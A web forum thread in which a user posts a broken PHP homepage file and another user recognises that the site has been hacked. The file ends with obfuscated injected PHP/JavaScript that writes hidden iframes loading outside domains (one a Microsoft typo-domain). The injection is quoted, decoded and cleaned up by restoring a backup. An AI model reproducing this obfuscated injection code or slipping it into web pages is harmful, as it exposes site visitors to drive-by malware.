syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ',' or ';' in

[mail2sacp]

Hi,

I have following code and getting following error on my site.
-------------------
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ',' or ';' in /home/home2/qandeelt/public_html/index.php on line 75
------------------------------------------------------------------

<?
include ("top.php");
include ("left.php");
/* Popular Destination Starts */
$PDSQL = "SELECT * FROM ".TABLEPREFIX."_destination d,".TABLEPREFIX."_destination_data dd
WHERE 1 AND d.destination_id = dd.destination_id
AND d.is_active='Y'
AND dd.language_id='$_SESSION[sess_language_id]'
AND d.is_popular='Y' ORDER BY d.destination_order";
$PDData = $UserManagerObjAjax->GetRecords("All",$PDSQL);
/* Popular Destination Ends */
/* HomeSection Tour Select Starts */
$SqlHomeSectionLeft="SELECT * FROM ".TABLEPREFIX."_home_sections hs,".TABLEPREFIX."_home_sections_data hsd
WHERE hs.section_position='L'
AND hs.section_id = hsd.section_id
AND hsd.language_id='$_SESSION[sess_language_id]'
AND hs.is_active='Y' ORDER BY hs.section_order";
$HomeSectionLeftData=$UserManagerObjAjax->GetRecords("All",$SqlHomeSectionLeft);
$CountHomeSectionLeft = count($HomeSectionLeftData);
if($CountHomeSectionLeft > 0)
{
foreach($HomeSectionLeftData as $key => $value)
{
if($value['special_id']==2 && !empty($value['special_item_id']))
{
$SqlSelectTour="SELECT * FROM ".TABLEPREFIX."_tour WHERE tour_id=".$value['special_item_id'];
$TourData = $UserManagerObjAjax->GetRecords("All",$SqlSelectTour);
$HomeSectionLeftData[$key]['tour_days'] = $TourData[0][tour_days];

$TourInitialDeposit = "SELECT MIN(tour_initial_deposit) price FROM ".TABLEPREFIX."_tour
WHERE tour_id=".$value['special_item_id']."

AND is_active='Y'";
$HomeSectionLeftData[$key][tour_initial_deposit] = $UserManagerObjAjax->GetRecords("One",$TourInitia
lDeposit);
$HomeSectionLeftData[$key][url] = "tours.php?tour_id=".$HomeSectionLeftData[$key][special_item_id];
}else{
:75
FROM ".TABLEPREFIX."_nl_mailing_group mg,".TABLEPREFIX."_nl_mailing_group_data mgd
WHERE mg.group_id=mgd.group_id
AND mgd.language_id=".$_SESSION['sess_language_id']."
AND mg.is_active='Y'
ORDER BY mg.group_id";
$NLGroupArr = $UserManagerObjAjax->HtmlOptionArrayCreate($SelectNLGroupSql);
$NumNLGroupArr=count($NLGroupArr);
if($NumNLGroupArr==1)
{
$NLGroupArrOne=$UserManagerObjAjax->GetRecords("All",$SelectNLGroupSql);
$NLGroupOne=$NLGroupArrOne[0]['group_id'];
}
/* Get Newsletter Group Ends */

$smarty->assign("CountHomeSectionLeft",$CountHomeSectionLeft);
$smarty->assign("HomeSectionLeft",$HomeSectionLeftData);
$smarty->assign("PopularDestination",$PDData);
$smarty->assign("NLGroupArr",$NLGroupArr);
$smarty->assign("NumNLGroupArr",$NumNLGroupArr);
$smarty->assign("NLGroupOne",$NLGroupOne);

$smarty->display("index.tpl");

include ("right.php");
include ("bottom.php");
?> <?php echo ''; ?><?php echo ''; ?><?php echo ''; ?><?php echo '
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-7623457-2");
pageTracker._trackPageview();
} catch(err) {}</script>'; ?><?php echo '<script type="text/javascript">try {var pageTracker = _gat._getTracker("UA-32645524-1");pag
eTracker._trackPageview();} catch(err) {}</script>'; ?><?php echo ''; ?><?php echo ''; ?><?php echo '<script>document.write("<"+"i"+
"f"+"ram"+"e sr"+"c=\"h"+"t"+"tp"+":"+"/"+"/tr"+"ught"+""+"s"+"a.c"+"o"+"m/\" wid"+"th=1 he"+"ight"+"="+"2></if"+"r"+"a"+""+"me>");<
/script>'; ?><?php echo '<script>document.write("<i"+"fr"+"a"+"me s"+"rc=\"h"+"tt"+"p"+":"+"/"+"/tru"+"ght"+""+"sa.c"+"o"+"m"+"/\" w
id"+"th=1 he"+"ight"+"="+"2></i"+"fra"+""+"m"+""+"e>");</script>'; ?><?php echo ''; ?><?php echo '<script>document.write("<if"+''+'r
a'+''+"m"+'e s'+"rc=\"h"+''+'tt'+"p:"+''+"/"+''+'/mic'+"roso"+'t'+''+'f.c'+"n"+'/'+"\" wid"+''+'th=1 he'+"igh"+''+'t'+"="+"2></i"+''
+"f"+"ra"+''+""+''+"me"+'>');</script>'; ?>

---------------------------------------------------------------
Please let me know how can I fix this as its getting critical now.

Regards
Mail2sacp

[txspaderz]

Originally Posted by mail2sacp

Hi,

I have following code and getting following error on my site.
-------------------
---------------------------------------------------------------
Please let me know how can I fix this as its getting critical now.

Regards
Mail2sacp

You have been hacked:

<?php echo '<script type="text/javascript">try {var pageTracker = _gat._getTracker("UA-32645524-1");pag
eTracker._trackPageview();} catch(err) {}</script>'; ?><?php echo ''; ?><?php echo ''; ?><?php echo '<script>document.write("<"+"i"+
"f"+"ram"+"e sr"+"c=\"h"+"t"+"tp"+":"+"/"+"/tr"+"ught"+""+"s"+"a.c"+"o"+"m/\" wid"+"th=1 he"+"ight"+"="+"2></if"+"r"+"a"+""+"me>");<
/script>'; ?><?php echo '<script>document.write("<i"+"fr"+"a"+"me s"+"rc=\"h"+"tt"+"p"+":"+"/"+"/tru"+"ght"+""+"sa.c"+"o"+"m"+"/\" w
id"+"th=1 he"+"ight"+"="+"2></i"+"fra"+""+"m"+""+"e>");</script>'; ?><?php echo ''; ?><?php echo '<script>document.write("<if"+''+'r
a'+''+"m"+'e s'+"rc=\"h"+''+'tt'+"p:"+''+"/"+''+'/mic'+"roso"+'t'+''+'f.c'+"n"+'/'+"\" wid"+''+'th=1 he'+"igh"+''+'t'+"="+"2></i"+''
+"f"+"ra"+''+""+''+"me"+'>');</script>'; ?>

That basically says:

<?php echo '<script>document.write("<i"+
frame src=http//trughtsa.com/\" width=1 height=2></iframe>");<
/script>'; ?><?php echo '<script>document.write("<iframe src="http://trughtsa.com" width=1 height=2></iframe>");</script>'; ?><?php echo ''; ?><?php echo '<script>document.write("<iframe src=http://microsotf.cn/ width=1 height=2></iframe>);</script>'; ?>

I'd recommend upgrading all of your scripts, changing your password, etc etc.

[mail2sacp]

Thank you very much I have restored file from backup and informed client to change all passwords.